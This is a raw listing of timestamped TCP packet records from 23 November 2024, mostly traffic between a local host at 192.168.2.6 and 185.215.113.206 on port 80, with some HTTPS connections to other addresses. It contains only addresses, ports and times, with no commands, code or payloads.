Nov 23, 2024 05:02:54.750760078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.750847101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.750859022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.750932932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.751727104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.751789093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.751813889 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.752017021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.752662897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.752767086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.752839088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.753634930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.753707886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.753709078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.753864050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.754581928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.754686117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.754806995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.755542994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.755609989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.755640030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.755692959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.756496906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.756699085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.756762981 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.757435083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.757498980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.757548094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.757666111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.758380890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.758512020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.758575916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.759366035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.759428024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.759483099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.759608030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.760296106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.760389090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.760442019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.761234999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.761342049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.761405945 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.762207985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.762270927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.762314081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.762402058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.763174057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.763231993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.763261080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.763657093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.764107943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.764164925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.764195919 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.764333010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.765054941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.765120029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.765151978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.765185118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.766014099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.766120911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.766980886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.767040968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.767074108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.767920971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.768019915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.768064976 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.768804073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.770060062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.800314903 CET	443	49903	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:54.800594091 CET	49903	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:54.800611019 CET	443	49903	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:54.800892115 CET	443	49903	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:54.801206112 CET	49903	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:54.801249981 CET	443	49903	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:54.842911005 CET	49903	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:54.920285940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.920372963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.920557022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.920629978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.920798063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.920846939 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.920855999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.920891047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.921741962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.921818018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.921832085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.921878099 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.922651052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.922698975 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.922728062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.922765017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.923600912 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.923655987 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.923732042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.923841953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.924580097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.924627066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.924689054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.924729109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.925565004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.925607920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.925669909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.925709009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.926495075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.926547050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.926573992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.926592112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.927452087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.927499056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.927553892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.927635908 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.928380013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.928464890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.928494930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.928536892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.929352999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.929425001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.929452896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.929514885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.930294037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.930342913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.930412054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.930511951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.931257010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.931308985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.931374073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.931411028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.932223082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.932275057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.932307959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.932457924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.933165073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.933231115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.933305025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.933357954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.934109926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.934150934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.934216976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.934421062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.935081005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.935132027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.935189009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.935281038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.936024904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.936081886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.936113119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.936113119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.936990023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.937051058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.937086105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.937124014 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.937932968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.937989950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.938043118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.938085079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.938890934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.938945055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.938977003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.939019918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.939866066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.939919949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.939963102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.940043926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.940778971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.940829992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.940875053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.940959930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.941744089 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.941787004 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.941847086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.941889048 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.942698956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.942781925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.942811966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.942888975 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.943645954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.943756104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.943763971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.943815947 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.944653988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.944700003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.944731951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.944773912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.945566893 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.945616961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.945651054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.945697069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.946525097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.946578026 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.946640968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.946794987 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.947465897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.947542906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.947565079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.947644949 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.948422909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.948472977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.948513985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.948599100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.949357986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.949420929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.949464083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.949506044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:54.950355053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:54.950404882 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.045372963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.164823055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.174763918 CET	49871	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:55.179325104 CET	443	49901	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:55.179589033 CET	49901	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:55.179624081 CET	443	49901	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:55.180001020 CET	443	49901	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:55.180299997 CET	49901	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:55.180370092 CET	443	49901	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:55.180460930 CET	49901	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:55.188992023 CET	443	49902	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:55.189254999 CET	49902	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:55.189306974 CET	443	49902	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:55.189894915 CET	443	49902	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:55.190202951 CET	49902	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:55.190306902 CET	443	49902	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:55.190310001 CET	49902	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:55.215343952 CET	443	49871	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:55.223331928 CET	443	49901	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:55.224113941 CET	49875	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:55.231367111 CET	443	49902	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:55.237723112 CET	49902	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:55.267345905 CET	443	49875	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:55.491662979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.491733074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.491734982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.491785049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.491899967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.491945982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.491945982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.491980076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.492475986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.492522001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.492577076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.492614985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.493424892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.493479013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.493532896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.493570089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.494390011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.494443893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.494492054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.494530916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.495341063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.495445013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.495471954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.495515108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.496258020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.496428013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.500042915 CET	49909	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:02:55.500071049 CET	443	49909	20.50.80.214	192.168.2.6
Nov 23, 2024 05:02:55.500161886 CET	49909	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:02:55.500381947 CET	49909	443	192.168.2.6	20.50.80.214
Nov 23, 2024 05:02:55.500394106 CET	443	49909	20.50.80.214	192.168.2.6
Nov 23, 2024 05:02:55.559693098 CET	443	49875	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:55.559865952 CET	443	49875	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:55.559946060 CET	49875	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:55.561202049 CET	49910	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:55.561238050 CET	443	49910	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:55.561480999 CET	49910	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:55.561961889 CET	49910	443	192.168.2.6	20.96.153.111
Nov 23, 2024 05:02:55.561980009 CET	443	49910	20.96.153.111	192.168.2.6
Nov 23, 2024 05:02:55.562673092 CET	49875	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:55.562705994 CET	443	49875	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:55.590435028 CET	49911	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:55.590451956 CET	443	49911	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:55.590509892 CET	49911	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:55.590682030 CET	49911	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:55.590693951 CET	443	49911	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:55.616655111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.616734982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.616767883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.616920948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.617083073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.617158890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.617224932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.617264032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.617441893 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.617492914 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.618053913 CET	443	49871	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:55.618150949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.618201971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.618263960 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.618309021 CET	443	49871	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:55.618356943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.618406057 CET	49871	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:55.619123936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.619165897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.619215012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.619252920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.620070934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.620132923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.620158911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.620268106 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.621026993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.621089935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.621119976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.621166945 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.621962070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.622028112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.622086048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.622140884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.622932911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.622977972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.623037100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.623075008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.623852968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.623891115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.623969078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.624006987 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.624844074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.624891996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.624948025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.624985933 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.625757933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.625816107 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.632818937 CET	443	49901	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:55.635638952 CET	443	49901	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:55.635703087 CET	49901	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:55.637871027 CET	49901	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:55.637887955 CET	443	49901	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:55.692739010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.692780018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.692827940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.693028927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.727726936 CET	49871	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:55.727749109 CET	443	49871	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:55.741200924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.741286993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.741296053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.741338968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.741622925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.741668940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.741744995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.741787910 CET	49819	80	192.168.2.6	185.215.113.206
